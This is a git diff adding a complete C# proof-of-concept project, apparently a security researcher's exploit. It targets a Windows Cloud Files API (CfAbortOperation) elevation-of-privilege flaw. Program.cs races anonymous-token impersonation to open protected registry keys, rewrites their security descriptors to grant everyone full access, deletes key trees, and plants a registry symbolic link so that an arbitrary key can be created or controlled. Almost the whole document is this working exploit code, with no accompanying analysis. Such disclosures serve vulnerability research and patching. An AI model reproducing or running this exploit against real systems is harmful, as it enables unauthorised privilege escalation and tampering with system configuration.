diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP.sln b/src/PoC_AbortHydration_ArbitraryRegKey_EoP.sln new file mode 100644 index 0000000..e387198 --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30413.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781} + EndGlobalSection +EndGlobal diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config new file mode 100644 index 0000000..5754728 --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj new file mode 100644 index 0000000..82dafa4 --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj @@ -0,0 +1,59 @@ + + + + + Debug + AnyCPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3} + Exe + PoC_AbortHydration_ArbitraryRegKey_EoP + PoC_AbortHydration_ArbitraryRegKey_EoP + v4.7.2 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + ..\packages\NtApiDotNet.1.1.28\lib\net45\NtApiDotNet.dll + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs new file mode 100644 index 0000000..9429502 --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs @@ -0,0 +1,267 @@ +using NtApiDotNet; +using NtApiDotNet.Win32; +using System; +using System.Runtime.InteropServices; +using System.Threading; + +namespace PoC_AbortHydration_ArbitraryRegKey_EoP +{ + static class Program + { + static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) + { + Console.WriteLine("Opening for {0}", desired_access); + using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) + { + using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) + { + if (key.IsSuccess) + return key.Result.Duplicate(); + } + + using (var imp = NtThread.Current.ImpersonateAnonymousToken()) + { + return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); + } + } + } + + static void SetSecurityDescriptor(NtKey key, SecurityInformation info) + { + var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); + key.SetSecurityDescriptor(sd, info); + } + + static void ForceKeyDeleteKey(NtKey root, string name) + { + Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); + using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) + { + Console.WriteLine("Opened for WriteDac"); + SetSecurityDescriptor(key, SecurityInformation.Dacl); + } + + using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) + { + Console.WriteLine("Opened for WriteOwner"); + SetSecurityDescriptor(key, SecurityInformation.Label); + } + + using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) + { + Console.WriteLine("Opened for enumerate."); + DeleteRegistryTree(new_key); + new_key.Delete(); + } + } + + static void DeleteRegistryTree(NtKey root) + { + foreach (var name in root.QueryKeys()) + { + ForceKeyDeleteKey(root, name); + } + } + + [Flags] + enum AbortHydrationFlags + { + None = 0, + Unblock = 1, + Block = 2, + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); + + [StructLayout(LayoutKind.Sequential)] + struct CF_PLATFORM_INFO + { + public int BuildNumber; + public int RevisionNumber; + public int IntegrationNumber; + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfGetPlatformInfo( + out CF_PLATFORM_INFO PlatformVersion + ); + + static void ForceTokenThread(object obj) + { + try + { + using (var thread = (NtThread)obj) + { + Console.WriteLine("In force token thread {0}", thread); + using (var token = TokenUtils.GetAnonymousToken()) + { + while (true) + { + thread.SetImpersonationToken(token); + thread.SetImpersonationToken(null); + } + } + } + } + catch(ThreadAbortException) + { + return; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; + static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; + static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; + const string TARGET_KEY = @"\Registry\User\.DEFAULT\DEMODEMO"; + + static void CheckKeyThread(object root_key) + { + string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; + try + { + using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) + { + while (true) + { + if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) + { + Console.WriteLine("Change detected."); + Environment.Exit(0); + break; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + static int Check(this int hr) + { + if (hr < 0) + Marshal.ThrowExceptionForHR(hr); + return hr; + } + + const int MAX_STAGE = 4; + + static void Stage0() + { + for (int i = 1; i < MAX_STAGE; ++i) + { + Win32ProcessConfig config = new Win32ProcessConfig + { + CommandLine = $"run {i}", + ApplicationName = typeof(Program).Assembly.Location, + TerminateOnDispose = true + }; + + using (var p = Win32Process.CreateProcess(config)) + { + if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) + { + throw new ArgumentException($"Failed to run stage {i}"); + } + } + } + } + + static void Stage1(bool root_key) + { + Thread check_key_th = new Thread(CheckKeyThread); + check_key_th.IsBackground = true; + check_key_th.Start(root_key); + Thread.Sleep(1000); + + var th = NtThread.OpenCurrent(); + var anon_thread = new Thread(ForceTokenThread) + { + IsBackground = true + }; + anon_thread.Start(th); + + while (true) + { + CfAbortOperation(NtProcess.Current.ProcessId, + IntPtr.Zero, AbortHydrationFlags.Block); + } + } + + static void Stage2() + { + using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + DeleteRegistryTree(key); + } + + NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); + Stage1(false); + } + + static void Stage3() + { + using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) + { + Console.WriteLine("Cleaning up link {0}", key.FullPath); + key.Delete(); + } + + using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + } + } + + static void Main(string[] args) + { + try + { + CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); + + if (args.Length <= 1) + { + int stage = args.Length > 0 ? int.Parse(args[0]) : 0; + switch (stage) + { + case 0: + Stage0(); + break; + case 1: + Stage1(true); + break; + case 2: + Stage2(); + break; + case 3: + Stage3(); + break; + default: + throw new ArgumentException("Erm?"); + } + } + else + { + using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) + { + using (var imp = token.Impersonate()) + { + CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } +} diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6e2483f --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/src/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config new file mode 100644 index 0000000..f78d31a --- /dev/null +++ b/src/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file